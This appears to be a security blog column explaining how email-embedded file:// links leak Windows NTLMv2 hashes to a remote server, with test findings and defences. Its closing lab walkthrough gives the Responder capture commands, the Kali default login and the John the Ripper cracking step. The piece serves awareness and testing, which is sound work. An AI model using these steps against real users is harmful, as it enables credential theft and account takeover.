I can get and crack your password hashes from email

A few months ago, I participated in a public debate on password policy with my co-worker and friend, Kevin Mitnick. It was a heated back and forth discussion, with Kevin arguing for far longer passwords than most expert sources, including me, recommend. I just wasn’t buying his arguments.

Then he sent me an email that, when I opened it, sent Kevin my Microsoft Windows password hash, which he then cracked. It was a knock-out punch. I didn’t know it was possible.

I was a bit embarrassed, not only that didn’t I know that it could be done, but it was widely known for years. That means red cheeks to any computer security professional, but since I fashion myself as a Windows authentication specialist, doubly embarrassing. Since then, I’ve learned that most computer security professionals don’t know that it can be done.

Cracking the password hash this way is possible because under easy-to-simulate circumstances, embedded links in an email can cause your computer to try authenticating to a remote server. A remote server might then capture your computer’s authentication attempt and use the resulting captured information to find your password hash and begin cracking it.

Said more clearly, I can send you an email and capture your password hash, and then crack it to your plaintext password.

How is capturing a password hash through email possible?

When a computer (via software) attempts to connect to a web server, it often tries by default to connect without authenticating. After failing one or more times, the computer is often prompted to log on using the current active logon credentials. Computers supporting Windows integrated authentication might attempt to automatically log on using the user’s Windows authentication credentials. The user won’t know that anything has occurred. If the automated authentication fails, then the user might be prompted for a manual logon.

Automated integrated Windows authentication is a much desired single sign-on (SSO) feature, especially for local resources and previously trusted servers. This feature allows users to connect to web servers all over their corporate environment without having to submit logon credentials each time they want to connect to a different server. Most of today’s popular browsers support it to varying extents.

In the late 1990s, malicious hackers abused this feature to capture users’ Windows authentication credentials. They would send the user an email, have them click on a link (or have their email client silently respond to an invisible, embedded, transparent one-pixel web beacon), and the user’s computer would invisibly connect to the rogue server. If Windows integrated authentication was enabled, as it usually was, the user’s computer would send out the user’s corporate credentials to the rogue remote web server.

Actually what is sent is the user’s LAN Manager (LM) or Windows NT LM network authentication challenge response, from which the user’s LM or NT hash can be computed.

Microsoft responded by disabling the default sending of the user’s Windows authentication credentials to servers off the local network. Microsoft enabled this new default around Internet Explorer version 4 or 5. To this day, you can open Internet Explorer’s advanced configuration settings (Internet Options, Advanced, Enable Integrated Windows Authentication). This stopped these types of attacks, or so I had believed.

Turns out that there are still ways to trick Windows (and other Windows integrated authentication-supporting software programs, like Google Chrome) into sending the NTLM network authentication challenges to remote servers. In the case I’m aware of, it involves including an embedded link with the following format: file://///. For example:

file:////contoso.com/index.html

If you replace contoso.com with a valid remote server domain name, the software will attempt to authenticate to the remote server using SMB/NetBIOS with an NTLMv2 connection (by default) over TCP port 445. If you are running a NetBIOS listener, which can respond to NTLMv2 connections with a valid SMB/NetBIOS challenge, the server will get the client’s NTLMv2 challenge response, from which the user’s NT hash can be calculated. From there it’s just a matter of cracking the hash or alternately replaying the challenge and response to try other remote deviousness.

Unless you have TCP port 445 blocked outbound, this works regardless of what the Windows integrated authentication setting is in Internet Explorer. After Kevin’s demo, lots of people contacted me for more details. At the time I didn’t know a lot of the details, but now I’ve been able to test to confirm what does and does not work.

The biggest finding is, yes, clicking on an embedded file://// link does transmit my NTLM response challenge to a remote server where my NT hash could be cracked. It works:

• On the local network and remotely across the internet
• In default configurations on fully patched systems
• With Windows Firewall in its default state
• For both local SAM accounts and Active Directory accounts.

The remote attacker gets your machine name, domain name and NTLMv2 challenge response. It will work in most corporate environments. That’s the bad news.

Possible solutions to this attack

The good news: On a fully patched system, I could not get any iteration of the attack to work by simply opening an email and not clicking on a link. I did see an older attack mentioned in a Microsoft patch that would work using RTF emails in Microsoft Office 365, but it appears that hole is closed. That’s good, because no one wants to simply open an email and get exploited. Of course, we all know that getting a user to click on a link isn’t that high of a bar, and now you know that it can possibly lead to the user’s corporate password being compromised.

One new friend, Rob Tompkins, a great cybersecurity analyst, did a lot of testing of his own. He confirmed my findings and tested it across more software programs. He had some interesting prescriptive conclusions. His biggest was that even if you block TCP port 445 on the corporate network to prevent rogue outbound SMB/NetBIOS connections, if a mobile device didn’t also have the port blocked on a local firewall, it would successfully transmit its NTLM challenge response when it was off the network. That’s an important note to appreciate. Rob also found an AlienVault rule/signature to recognize these types of attacks to protect their customers.

Install the Microsoft patch

In November 2017, Microsoft released a related patch and a registry setting that is only available for Windows 10 and Windows Server 2016. It requires that you use and enable Windows Firewall and define what networks are and aren’t allowed to use NTLM SSO. These requirements mean that a ton of organizations that can’t use it. Additionally, I read of some anecdotal experiences where companies that did not accurately define the allowed networks had service interruptions, so proceed with testing and caution.

Use a strong password and block unauthorized authentication ports

Nothing beats a strong password with enough entropy that a password cracker can’t crack it no matter how powerful their cracker is. That should be defense number one. It also goes without saying that you should block unauthorized outgoing authentication ports, such as SMB/NETBIOS using your normal filtering methods and filtering out file://// monikers can’t hurt either.

How to test for this vulnerability

If you want to experiment to see how vulnerable your organization and its software is, you can quickly set up a two-computer lab, Windows client and Linux server, and start testing in about an hour. Here’s how.

First, do yourself a favor and get Laurent Gaffie’s Python-based Responder utility. Responder is an awesome tool to play around with to see network-based password hash theft in action. It acts as rogue server (web, NetBIOS, SQL, FTP and LDAP) with the ability to automatically “poison” LLMNR (a Microsoft Windows local name resolution protocol), NetBIOS and multi-cast DNS (mDNS). A ton of videos on the internet show people using Responder to poison and capture NTLM challenge responses.

If you want to save yourself the time of setting up Responder correctly, download and run Kali Linux and do the following:

1. Log in as root, password is toor
2. Click Applications menu, choose 09 – Sniffing and Spoofing, and run Responder
3. Then run responder -I eth0 –v (note listening IP address)

On a Windows computer:

1. Open File Explorer and connect to file://///test.htlm (or any file name)
2. Responder will get NTLM challenge responses

To crack hashes, back on the Linux computer:

1. Start terminal session
2. Enter cd /usr/share/responder/logs
3. Run John the Ripper to crack the hashes in the log files

john HTTP-NTLMv2… or john SMB….

God, I love hacking! I never have more fun than when I explore what can and can’t be done using a hacking tool. Of course, learning that clicking on an embedded link in email doubly reinforces that I’ll never do that in real life. Turns out it can hurt you.